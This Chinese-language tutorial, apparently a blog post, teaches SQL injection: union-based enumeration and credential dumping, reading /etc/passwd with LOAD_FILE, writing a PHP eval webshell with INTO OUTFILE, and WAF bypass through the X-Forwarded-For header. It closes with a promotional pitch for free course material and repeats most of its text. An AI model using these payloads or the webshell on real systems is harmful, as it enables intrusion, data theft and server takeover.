红蓝对抗-攻防演练-WEB安全渗透测试SQL注入漏洞深度解析一1.SQL注入漏洞1.1.SQLInjection-SQL注入漏洞1.1.1. 数据库基础1.1.1.1.常见数据库l 关系型数据库MySQL、PostgreSQL、OracleDatabase、MicrosoftSQLServer、SQLitel 非关系型数据库Ø **文档型数据库**MongoDB、CouchDBØ **键值型数据库**Redis、Memcached分布式内存对象缓存系统主要用于缓存、etcd一个高可用的键值存储常用于分布式系统的配置共享和服务发现。Ø列式数据库HBase基于Hadoop的列式数据库Ø**图数据库**Neo4j最知名的图数据库、JanusGraph一个可扩展的图1.1.1.2.数据库管理**演示**使用NavicatPremium16工具管理工具连接phpstudy中的MySQL数据库服务器安装MYSQL数据库搭建多个站点数据库集中存储MYSQL数据库中管理mysql里面有内置的管理用户其中root就是默认数据库管理员用户网站上面的数据库都在mysql中由root或一对一用户去管理。1、数据库统一管理root用户每个网站的数据库都由root用户统一管理有跨库查询的风险网站AZ-Blog192.168.1.100:801 D:/phpstudy_pro/WWW/Z-Blog数据库root用户zblog网站Bdemo01192.168.1.100:802D:/phpstudy_pro/WWW/demo01数据库root用户demo01mysqlroot自带默认)网站A testA网站B testB2、数据库一对一管理不同用户自己的网站单独创建数据库用户去管理自己的数据库mysqltestA用户网站AtestAtestb用户网站BtestBinfomation_schema介绍MYSQL5.0以上版本自带的数据库名information_schemainformation_schema存储数据库下的数据库名及表名列名信息的数据库information_schema中schemata记录数据库名信息的表l schema_name记录数据库名信息的列名值information_schema中tables记录表名信息的表l table_schema记录数据库名的列名值l table_name记录表名的列名值information_schema中columns记录列名信息表l column_name记录列名的列名值在工具里看一下加深记忆1.1.1.3.获取数据库中数据的步骤1.获取当前数据库下版本?id 1 union select version(),2,3,4,5,6,)2.获取当前数据库的用户?id 1 union select user,2,3,4,5,6,)在这里可以看到是否是root用户非root注入攻击常规类的猜解root注入攻击文件读写操作跨库查询注入3.获取当前数据库的操作系统?id 1 union select version_compile_os),2,3,4,5,6,)4.获取当前数据库的名字?id 1 union select database),2,3,4,5,6,)注union使用必须每个SELECT语句有相同数量的列每列的数据类型也必须相似。1.1.1.4.SQL跨库查询跨库查询的前提条件是数据库用户是root用户同时管理了多个数据库。跨库查询顺序Union select 1,2,3,4,group_concatschema_name),6 from information_schema.schemata:通过information_schema.schemata表获取所有数据库的名称并将这些名称连接成一个字符串。Union select 1,2,3,4,group_concattable_name),6 from information_schema.tables where table_schema‘zblog’:通过information_schema.tables表获取‘zblog’数据库中所有表的名称并将这些名称连接成一个字符串。Union select 1,2,3,4,group_concatcolumn_name),6 from information_schema.columns where table_namezbp_member’and table_schema‘zblog’:通过information_schema.columns表获取‘zblog’数据库中‘zbp_member’表的所有列名并将这些列名连接成一个字符串。Union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member:尝试从‘zblog’数据库的‘zbp_member’表中选择mem_Name和mem_Password列的数据限制结果集为一个行。记住使用.来进行跨库查询1.1.1.5.SQL文件读写确认存在SQL注入漏洞并获取了数据库基本信息如版本、用户权限之后会进行SQL文件读写。攻击的本质是利用数据库自身的功能来读取服务器上的敏感文件或者向服务器写入恶意文件例如Webshell从而进一步提升权限、控制服务器。并非所有数据库都支持文件读写而且即使支持也需要当前数据库用户拥有很高的权限如FILE、GRANTFILE权限。利用方法以MySQL为例‘UNION SELECT LOAD_FILE’/etc/passwd’),NULL,NULL,NULL—这条语句会尝试将/etc/passwd文件的内容作为一列数据返回并在网页上显示出来。注意事项1.绝对路径必须知道文件的绝对路径。l****如何获取文件路径n****报错显示获取路径nPhpinfo页面泄露l****如果不知道路径利用常见的默认的中间件数据库等安装路径读取有价值信息2.权限数据库进程运行用户必须有读取该文件的权限。3.secure_file_priv设置这是MySQL中一个至关重要的安全配置。o如果secure_file_priv设置为NULL则禁止任何文件导入/导出操作。o如果设置为某个目录如/var/tmp/则只能从该目录读写文件。o如果设置为空值则可以对任意有权限的目录进行读写。o可以通过查询secure_file_priv或SHOW VARIA BLES LIKEsecure_file_priv来查看当前设置。secure_file_priv是MySQL数据库中的一个系统变量用于限制使用LOAD DATA INFILE和SELECT…INTO OUT FILE语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性防止用户滥用这些语句导致的文件系统访问。如果设置了这个变量MySQL将仅允许在指定的路径下进行文件的读取和写入操作。如果没有设置MySQL将默认使用空值表示都可以查询使用。例如如果secure_file_priv被设置为f:\那么在执行LOADDATAINFILE或SELECT…INTOOUTFILE时只允许读写位于f:\目录下的文件。文件写入SELECT…INTO OUT FILE/INTO DUMP FILEOUTFILE与DUMPFILE的区别·INTOOUTFILE更适合导出多行数据会在文本中进行转义。·INTODUMPFILE更适合导出二进制文件或单行数据如Webshell写入内容更加原始不会增加任何转义或换行。写入Webshell时更推荐使用DUMPFILE。不同数据库的差异数据库类型读取文件函数/命令写入文件函数/命令说明MySQLLOAD_FILE)SELECT…INTOOUTFILE/DUMPFILE严重依赖secure_file_priv设置PostgreSQLpg_read_file)COPY…TO需要超级用户权限MicrosoftSQLServerOPENROWSETBULK…)xp_cmdshellechoxp_cmdshell通常被禁用但可被有权限者开启OracleUTL_FILEUTL_FILE或Java配置复杂权限要求高实战利用流程1.确认漏洞与数据库类型通过version()等函数确认是MySQL。2.检查权限查询用户权限确认是否有FILE权限。oSELECT grantee,privilege_type FROM information_schema.user_privileges WHERE privilege_typeFILEo或者简单查询当前用户UNION SELECT user(),NULL,NULL---3.查询secure_file_priv的值。oUNION SELECT secure_file_priv,NULL,NULL---4.实施读写o读如果权限和设置允许用LOAD_FILE读取目标文件。o写获取网站绝对路径通过报错、读取配置文件、盲猜常见路径等方式然后使用INTOOUTFILE/DUMPFILE写入Webshell。写入webshell****的示例Union select 1,2,3,‘?phpeval$\_POST[x]);?’,5,6 intooutfile’G:\develop\safety\phpstudy_pro\WWW\dome01\laofu.php’将木马文件写入网站源码目录方便获取权限?phpeval$\_POST[x]);?这是一个PHP代码片段它使用eval)函数执行传递给$\_POST[x]的代码。这段代码的含义是它将执行$\_POST[x]参数中包含的任意代码。intooutfile’G:\develop\safety\phpstudy_pro\WWW\dome01\laofu.php’:这是将木马文件写入网站源码目录指定了写入的路径和文件名。注意在SQL字符串中反斜杠\是转义字符。为了表示一个真正的反斜杠必须使用两个反斜杠\。如何获取SQL****文件读写路径读写的路径的问题1、报错显示获取路径2、phpinfo页面泄漏如果不知道路径使用以下思路:利用常见的默认的中间件、数据库等安装路径读取有价值信息如c:/windows/my.ini //MYSQL配置文件记录管理员登陆过的MYSQL用户名和密码c:/windows/my.ini//MYSQL配置文件记录管理员登陆过的MYSQL用户名和密码1.1.2. 什么是SQL注入原理接受的参数值未进行过滤直接带入SQL查询的操作。本质把用户输入的数据当作代码来执行违背了数据与代码分离的原则前提条件用户能控制输入的内容。web应用把用户输入的内容带入到数据库执行攻击利用SQL语句执行你想要的东西SQL语句能干嘛注入就能干嘛SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定。SQL****注入存在位置1.使用单引号测试注意单引号测试不能直接区分类型需要结合其他测试u 字符型注入字符型注入通常需要使用单引号来闭合字符串。可以通过在参数后面添加单引号来测试。l 测试payloadid1’l 预期结果如果页面返回错误或异常说明可能是字符型注入。u 数字型注入数字型注入不需要单引号来闭合。l 测试payloadid1’l 预期结果如果页面正常显示说明可能是数字型注入。2.使用逻辑运算符测试u 数字型注入可以使用逻辑运算符AND或OR来测试。l 测试payloadid1AND11和id1AND12l 预期结果如果id1AND11页面正常显示而id1AND12页面返回错误或异常说明可能是数字型注入。u 字符型注入同样可以使用逻辑运算符但需要加上单引号。l 测试payloadid1’AND’1’‘1和id1’AND’1’2l 预期结果如果id1’AND’1’‘1页面正常显示而id1’AND’1’2页面返回错误或异常说明可能是字符型注入。3.使用注释符测试字符型注入可以使用注释符来闭合SQL语句。l 测试payloadid1’–l 预期结果如果页面正常显示说明可能是字符型注入。数字型注入同样可以使用注释符但不需要单引号。l 测试payloadid1–l 预期结果如果页面正常显示说明可能是数字型注入。4.使用特殊字符测试字符型注入可以尝试使用特殊字符来破坏SQL语句。l 测试payloadid1’UNIONSELECTnull–l 预期结果如果页面返回错误或异常说明可能是字符型注入。数字型注入同样可以使用特殊字符但不需要单引号。l 测试payloadid1UNIONSELECTnull–l 预期结果如果页面返回错误或异常说明可能是数字型注入。总结字符型注入通常需要使用单引号来闭合字符串测试时可以使用单引号、逻辑运算符和注释符。数字型注入不需要单引号来闭合测试时可以直接使用逻辑运算符和注释符。为什么会有这些注入类型这是因为数据请求类型不一样在代码编写时使用的sql语句不同。SQL语句由于在黑盒中是无法预知写法的SQL注入能发成功是需要拼接原SQL语句大部分黑盒能做的就是分析后尝试去判断所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败由于开发者对于数据类型和SQL语句写法框架写法导致SQL注入拼接失败。如1、数字型无符号干扰)select * from news where id$id;接收的是数字型的参数2、字符型有符号干扰select * from news where id‘$id’;如果不写单引号在输入字符串参数时会报错有单引号无论是数字和字符都能拼接。防止代码外溢就用单引号。3、搜索型有多符号干扰通配符匹配select * from news where id like ‘%$id%’4、框架型有各种符号干扰写法是多样性的。select * from news where id‘$id’);select * from news where id‘$id’);select * from news where id‘$id’) limit 0 1;limt的作用LIMIT offset, count如LIMIT 0, 1offset 偏移量: 0这表示从第几条记录开始返回count 数量: 1 这表示希望返回的最大记录条数。所以LIMIT 0, 1 的含义就是从第一条记录开始返回1条记录。良好编程实践确保了无论发生什么应用程序都只会处理一条记录。由于 sql 语句的不确定性会导致无法注入成功的可能使用闭合单引号、–或者–或者#都可以不去拼接后边的内容。MYSQL注入思路目的是获取当前web权限1、判断常见四个信息系统用户数据库名版本2、根据这四个信息去选择方案root用户先测试读写后测试获取数据非root用户直接测试获取数据1.1.3.SQL****注入分类1.基于注入点类型分类·数字型注入参数无需被引号包围。o原语句SELECT*FROM news WHEREid1o注入id1 AND 12 UNION SELECT 1,2,version)·字符型注入参数被单/双引号包围。o原语句SELECT*FROM users WHERE username admino注入usernameUNIONSELECT1,2,3--2.基于数据提交方式分类·GET****注入通过URL参数提交易于利用。·POST****注入通过HTTP请求体提交需要抓包工具bp。通过order by对列进行排序查看有多少列。·Cookie****注入将恶意代码放入Cookie中提交。·HTTP****头部注入在User-Agent,Referer,X-Forwarded-For等头部字段中注入。这时由于代码中有$_SERVER函数可以获取到这些信息。通过在X-Forwarded-For字段中可以插入sql注入语句从而绕过数据库指定IP地址访问的限制。$_SERVER 可以获取一下指标lUser-Agent使得服务器能够识别客户使用的操作系统浏览器版本等.很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中将抓包到的内容**User-Agent进行修改 xxxxx页面回显也同时变更为xxxxx**lCookie网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据lX-Forwarded-For简称XFF头它代表客户端也就是HTTP的请求端真实的IP,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]。控制 X-Forwarded-For 头可以实现INSERT注入或二次注入。可以在正常X-Forwarded-For: 192.168.1.100’, ‘hacker’, SELECT DATABASE))) – -中插入恶意的语句。WAF会分析请求如果发现 X-Forwarded-For 头中有SQL注入特征如单引号、SELECT、–就会拦截并将攻击者的IP把攻击IP记录到“防注入数据库”攻击者的绕过思路让WAF看到的请求和自己注入的请求不一样。X-Forwarded-For: 127.0.0.1 一个干净的、合法的IP)X-Forwarded-For: 192.168.1.100’, ‘hacker’, SELECT DATABASE))) – -这样WAF看到第一个是正常的就放过PHP的$_SERVER[‘HTTP_X_FORWARDED_FOR’]可能会取最后一个头的值或者用逗号拼接所有值如 127.0.0.1, 192.168.1.100’…。无论是哪种情况攻击者注入的恶意代码都成功传递给了应用程序触发了SQL注入。l Rerferer浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.l Host客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号3.基于反馈方式分类·联合查询注入使用UNION操作符合并执行恶意查询。·报错****注入利用数据库报错信息回显执行结果。·布尔盲注根据页面返回的“真”或“假”状态来推断信息。·时间盲注通过执行延时函数如SLEEP)来判断注入是否成功。1.1.4. 产生SQL注入的原理将恶意构造的SQL代码插入或**“注入”到程序预期执行的SQL查询语句中从而欺骗数据库服务器执行非授权的任意SQL****命令。**简单来说就是程序将用户输入的数据当做代码执行了。这违背了“数据与代码分离”的基本原则。1.1.5. SQL注入带来的危害有哪些·数据泄露窃取数据库中的敏感信息如用户名、密码、手机号、身份证号等。·数据篡改非法修改数据库内容如篡改账户余额、发布虚假信息等。·权限绕过绕过登录验证以管理员或其他用户身份登录系统。·数据库服务器控制在特定情况下可以执行系统命令从而完全控制服务器。·拒绝服务通过执行高负载查询导致数据库服务瘫痪。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。读者福利 |CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击一、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。二、部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解三、适合学习的人群基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
红蓝对抗-攻防演练-WEB安全渗透测试:SQL注入漏
红蓝对抗-攻防演练-WEB安全渗透测试SQL注入漏洞深度解析一1.SQL注入漏洞1.1.SQLInjection-SQL注入漏洞1.1.1. 数据库基础1.1.1.1.常见数据库l 关系型数据库MySQL、PostgreSQL、OracleDatabase、MicrosoftSQLServer、SQLitel 非关系型数据库Ø **文档型数据库**MongoDB、CouchDBØ **键值型数据库**Redis、Memcached分布式内存对象缓存系统主要用于缓存、etcd一个高可用的键值存储常用于分布式系统的配置共享和服务发现。Ø列式数据库HBase基于Hadoop的列式数据库Ø**图数据库**Neo4j最知名的图数据库、JanusGraph一个可扩展的图1.1.1.2.数据库管理**演示**使用NavicatPremium16工具管理工具连接phpstudy中的MySQL数据库服务器安装MYSQL数据库搭建多个站点数据库集中存储MYSQL数据库中管理mysql里面有内置的管理用户其中root就是默认数据库管理员用户网站上面的数据库都在mysql中由root或一对一用户去管理。1、数据库统一管理root用户每个网站的数据库都由root用户统一管理有跨库查询的风险网站AZ-Blog192.168.1.100:801 D:/phpstudy_pro/WWW/Z-Blog数据库root用户zblog网站Bdemo01192.168.1.100:802D:/phpstudy_pro/WWW/demo01数据库root用户demo01mysqlroot自带默认)网站A testA网站B testB2、数据库一对一管理不同用户自己的网站单独创建数据库用户去管理自己的数据库mysqltestA用户网站AtestAtestb用户网站BtestBinfomation_schema介绍MYSQL5.0以上版本自带的数据库名information_schemainformation_schema存储数据库下的数据库名及表名列名信息的数据库information_schema中schemata记录数据库名信息的表l schema_name记录数据库名信息的列名值information_schema中tables记录表名信息的表l table_schema记录数据库名的列名值l table_name记录表名的列名值information_schema中columns记录列名信息表l column_name记录列名的列名值在工具里看一下加深记忆1.1.1.3.获取数据库中数据的步骤1.获取当前数据库下版本?id 1 union select version(),2,3,4,5,6,)2.获取当前数据库的用户?id 1 union select user,2,3,4,5,6,)在这里可以看到是否是root用户非root注入攻击常规类的猜解root注入攻击文件读写操作跨库查询注入3.获取当前数据库的操作系统?id 1 union select version_compile_os),2,3,4,5,6,)4.获取当前数据库的名字?id 1 union select database),2,3,4,5,6,)注union使用必须每个SELECT语句有相同数量的列每列的数据类型也必须相似。1.1.1.4.SQL跨库查询跨库查询的前提条件是数据库用户是root用户同时管理了多个数据库。跨库查询顺序Union select 1,2,3,4,group_concatschema_name),6 from information_schema.schemata:通过information_schema.schemata表获取所有数据库的名称并将这些名称连接成一个字符串。Union select 1,2,3,4,group_concattable_name),6 from information_schema.tables where table_schema‘zblog’:通过information_schema.tables表获取‘zblog’数据库中所有表的名称并将这些名称连接成一个字符串。Union select 1,2,3,4,group_concatcolumn_name),6 from information_schema.columns where table_namezbp_member’and table_schema‘zblog’:通过information_schema.columns表获取‘zblog’数据库中‘zbp_member’表的所有列名并将这些列名连接成一个字符串。Union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member:尝试从‘zblog’数据库的‘zbp_member’表中选择mem_Name和mem_Password列的数据限制结果集为一个行。记住使用.来进行跨库查询1.1.1.5.SQL文件读写确认存在SQL注入漏洞并获取了数据库基本信息如版本、用户权限之后会进行SQL文件读写。攻击的本质是利用数据库自身的功能来读取服务器上的敏感文件或者向服务器写入恶意文件例如Webshell从而进一步提升权限、控制服务器。并非所有数据库都支持文件读写而且即使支持也需要当前数据库用户拥有很高的权限如FILE、GRANTFILE权限。利用方法以MySQL为例‘UNION SELECT LOAD_FILE’/etc/passwd’),NULL,NULL,NULL—这条语句会尝试将/etc/passwd文件的内容作为一列数据返回并在网页上显示出来。注意事项1.绝对路径必须知道文件的绝对路径。l****如何获取文件路径n****报错显示获取路径nPhpinfo页面泄露l****如果不知道路径利用常见的默认的中间件数据库等安装路径读取有价值信息2.权限数据库进程运行用户必须有读取该文件的权限。3.secure_file_priv设置这是MySQL中一个至关重要的安全配置。o如果secure_file_priv设置为NULL则禁止任何文件导入/导出操作。o如果设置为某个目录如/var/tmp/则只能从该目录读写文件。o如果设置为空值则可以对任意有权限的目录进行读写。o可以通过查询secure_file_priv或SHOW VARIA BLES LIKEsecure_file_priv来查看当前设置。secure_file_priv是MySQL数据库中的一个系统变量用于限制使用LOAD DATA INFILE和SELECT…INTO OUT FILE语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性防止用户滥用这些语句导致的文件系统访问。如果设置了这个变量MySQL将仅允许在指定的路径下进行文件的读取和写入操作。如果没有设置MySQL将默认使用空值表示都可以查询使用。例如如果secure_file_priv被设置为f:\那么在执行LOADDATAINFILE或SELECT…INTOOUTFILE时只允许读写位于f:\目录下的文件。文件写入SELECT…INTO OUT FILE/INTO DUMP FILEOUTFILE与DUMPFILE的区别·INTOOUTFILE更适合导出多行数据会在文本中进行转义。·INTODUMPFILE更适合导出二进制文件或单行数据如Webshell写入内容更加原始不会增加任何转义或换行。写入Webshell时更推荐使用DUMPFILE。不同数据库的差异数据库类型读取文件函数/命令写入文件函数/命令说明MySQLLOAD_FILE)SELECT…INTOOUTFILE/DUMPFILE严重依赖secure_file_priv设置PostgreSQLpg_read_file)COPY…TO需要超级用户权限MicrosoftSQLServerOPENROWSETBULK…)xp_cmdshellechoxp_cmdshell通常被禁用但可被有权限者开启OracleUTL_FILEUTL_FILE或Java配置复杂权限要求高实战利用流程1.确认漏洞与数据库类型通过version()等函数确认是MySQL。2.检查权限查询用户权限确认是否有FILE权限。oSELECT grantee,privilege_type FROM information_schema.user_privileges WHERE privilege_typeFILEo或者简单查询当前用户UNION SELECT user(),NULL,NULL---3.查询secure_file_priv的值。oUNION SELECT secure_file_priv,NULL,NULL---4.实施读写o读如果权限和设置允许用LOAD_FILE读取目标文件。o写获取网站绝对路径通过报错、读取配置文件、盲猜常见路径等方式然后使用INTOOUTFILE/DUMPFILE写入Webshell。写入webshell****的示例Union select 1,2,3,‘?phpeval$\_POST[x]);?’,5,6 intooutfile’G:\develop\safety\phpstudy_pro\WWW\dome01\laofu.php’将木马文件写入网站源码目录方便获取权限?phpeval$\_POST[x]);?这是一个PHP代码片段它使用eval)函数执行传递给$\_POST[x]的代码。这段代码的含义是它将执行$\_POST[x]参数中包含的任意代码。intooutfile’G:\develop\safety\phpstudy_pro\WWW\dome01\laofu.php’:这是将木马文件写入网站源码目录指定了写入的路径和文件名。注意在SQL字符串中反斜杠\是转义字符。为了表示一个真正的反斜杠必须使用两个反斜杠\。如何获取SQL****文件读写路径读写的路径的问题1、报错显示获取路径2、phpinfo页面泄漏如果不知道路径使用以下思路:利用常见的默认的中间件、数据库等安装路径读取有价值信息如c:/windows/my.ini //MYSQL配置文件记录管理员登陆过的MYSQL用户名和密码c:/windows/my.ini//MYSQL配置文件记录管理员登陆过的MYSQL用户名和密码1.1.2. 什么是SQL注入原理接受的参数值未进行过滤直接带入SQL查询的操作。本质把用户输入的数据当作代码来执行违背了数据与代码分离的原则前提条件用户能控制输入的内容。web应用把用户输入的内容带入到数据库执行攻击利用SQL语句执行你想要的东西SQL语句能干嘛注入就能干嘛SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定。SQL****注入存在位置1.使用单引号测试注意单引号测试不能直接区分类型需要结合其他测试u 字符型注入字符型注入通常需要使用单引号来闭合字符串。可以通过在参数后面添加单引号来测试。l 测试payloadid1’l 预期结果如果页面返回错误或异常说明可能是字符型注入。u 数字型注入数字型注入不需要单引号来闭合。l 测试payloadid1’l 预期结果如果页面正常显示说明可能是数字型注入。2.使用逻辑运算符测试u 数字型注入可以使用逻辑运算符AND或OR来测试。l 测试payloadid1AND11和id1AND12l 预期结果如果id1AND11页面正常显示而id1AND12页面返回错误或异常说明可能是数字型注入。u 字符型注入同样可以使用逻辑运算符但需要加上单引号。l 测试payloadid1’AND’1’‘1和id1’AND’1’2l 预期结果如果id1’AND’1’‘1页面正常显示而id1’AND’1’2页面返回错误或异常说明可能是字符型注入。3.使用注释符测试字符型注入可以使用注释符来闭合SQL语句。l 测试payloadid1’–l 预期结果如果页面正常显示说明可能是字符型注入。数字型注入同样可以使用注释符但不需要单引号。l 测试payloadid1–l 预期结果如果页面正常显示说明可能是数字型注入。4.使用特殊字符测试字符型注入可以尝试使用特殊字符来破坏SQL语句。l 测试payloadid1’UNIONSELECTnull–l 预期结果如果页面返回错误或异常说明可能是字符型注入。数字型注入同样可以使用特殊字符但不需要单引号。l 测试payloadid1UNIONSELECTnull–l 预期结果如果页面返回错误或异常说明可能是数字型注入。总结字符型注入通常需要使用单引号来闭合字符串测试时可以使用单引号、逻辑运算符和注释符。数字型注入不需要单引号来闭合测试时可以直接使用逻辑运算符和注释符。为什么会有这些注入类型这是因为数据请求类型不一样在代码编写时使用的sql语句不同。SQL语句由于在黑盒中是无法预知写法的SQL注入能发成功是需要拼接原SQL语句大部分黑盒能做的就是分析后尝试去判断所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败由于开发者对于数据类型和SQL语句写法框架写法导致SQL注入拼接失败。如1、数字型无符号干扰)select * from news where id$id;接收的是数字型的参数2、字符型有符号干扰select * from news where id‘$id’;如果不写单引号在输入字符串参数时会报错有单引号无论是数字和字符都能拼接。防止代码外溢就用单引号。3、搜索型有多符号干扰通配符匹配select * from news where id like ‘%$id%’4、框架型有各种符号干扰写法是多样性的。select * from news where id‘$id’);select * from news where id‘$id’);select * from news where id‘$id’) limit 0 1;limt的作用LIMIT offset, count如LIMIT 0, 1offset 偏移量: 0这表示从第几条记录开始返回count 数量: 1 这表示希望返回的最大记录条数。所以LIMIT 0, 1 的含义就是从第一条记录开始返回1条记录。良好编程实践确保了无论发生什么应用程序都只会处理一条记录。由于 sql 语句的不确定性会导致无法注入成功的可能使用闭合单引号、–或者–或者#都可以不去拼接后边的内容。MYSQL注入思路目的是获取当前web权限1、判断常见四个信息系统用户数据库名版本2、根据这四个信息去选择方案root用户先测试读写后测试获取数据非root用户直接测试获取数据1.1.3.SQL****注入分类1.基于注入点类型分类·数字型注入参数无需被引号包围。o原语句SELECT*FROM news WHEREid1o注入id1 AND 12 UNION SELECT 1,2,version)·字符型注入参数被单/双引号包围。o原语句SELECT*FROM users WHERE username admino注入usernameUNIONSELECT1,2,3--2.基于数据提交方式分类·GET****注入通过URL参数提交易于利用。·POST****注入通过HTTP请求体提交需要抓包工具bp。通过order by对列进行排序查看有多少列。·Cookie****注入将恶意代码放入Cookie中提交。·HTTP****头部注入在User-Agent,Referer,X-Forwarded-For等头部字段中注入。这时由于代码中有$_SERVER函数可以获取到这些信息。通过在X-Forwarded-For字段中可以插入sql注入语句从而绕过数据库指定IP地址访问的限制。$_SERVER 可以获取一下指标lUser-Agent使得服务器能够识别客户使用的操作系统浏览器版本等.很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中将抓包到的内容**User-Agent进行修改 xxxxx页面回显也同时变更为xxxxx**lCookie网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据lX-Forwarded-For简称XFF头它代表客户端也就是HTTP的请求端真实的IP,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]。控制 X-Forwarded-For 头可以实现INSERT注入或二次注入。可以在正常X-Forwarded-For: 192.168.1.100’, ‘hacker’, SELECT DATABASE))) – -中插入恶意的语句。WAF会分析请求如果发现 X-Forwarded-For 头中有SQL注入特征如单引号、SELECT、–就会拦截并将攻击者的IP把攻击IP记录到“防注入数据库”攻击者的绕过思路让WAF看到的请求和自己注入的请求不一样。X-Forwarded-For: 127.0.0.1 一个干净的、合法的IP)X-Forwarded-For: 192.168.1.100’, ‘hacker’, SELECT DATABASE))) – -这样WAF看到第一个是正常的就放过PHP的$_SERVER[‘HTTP_X_FORWARDED_FOR’]可能会取最后一个头的值或者用逗号拼接所有值如 127.0.0.1, 192.168.1.100’…。无论是哪种情况攻击者注入的恶意代码都成功传递给了应用程序触发了SQL注入。l Rerferer浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.l Host客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号3.基于反馈方式分类·联合查询注入使用UNION操作符合并执行恶意查询。·报错****注入利用数据库报错信息回显执行结果。·布尔盲注根据页面返回的“真”或“假”状态来推断信息。·时间盲注通过执行延时函数如SLEEP)来判断注入是否成功。1.1.4. 产生SQL注入的原理将恶意构造的SQL代码插入或**“注入”到程序预期执行的SQL查询语句中从而欺骗数据库服务器执行非授权的任意SQL****命令。**简单来说就是程序将用户输入的数据当做代码执行了。这违背了“数据与代码分离”的基本原则。1.1.5. SQL注入带来的危害有哪些·数据泄露窃取数据库中的敏感信息如用户名、密码、手机号、身份证号等。·数据篡改非法修改数据库内容如篡改账户余额、发布虚假信息等。·权限绕过绕过登录验证以管理员或其他用户身份登录系统。·数据库服务器控制在特定情况下可以执行系统命令从而完全控制服务器。·拒绝服务通过执行高负载查询导致数据库服务瘫痪。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。读者福利 |CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击一、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 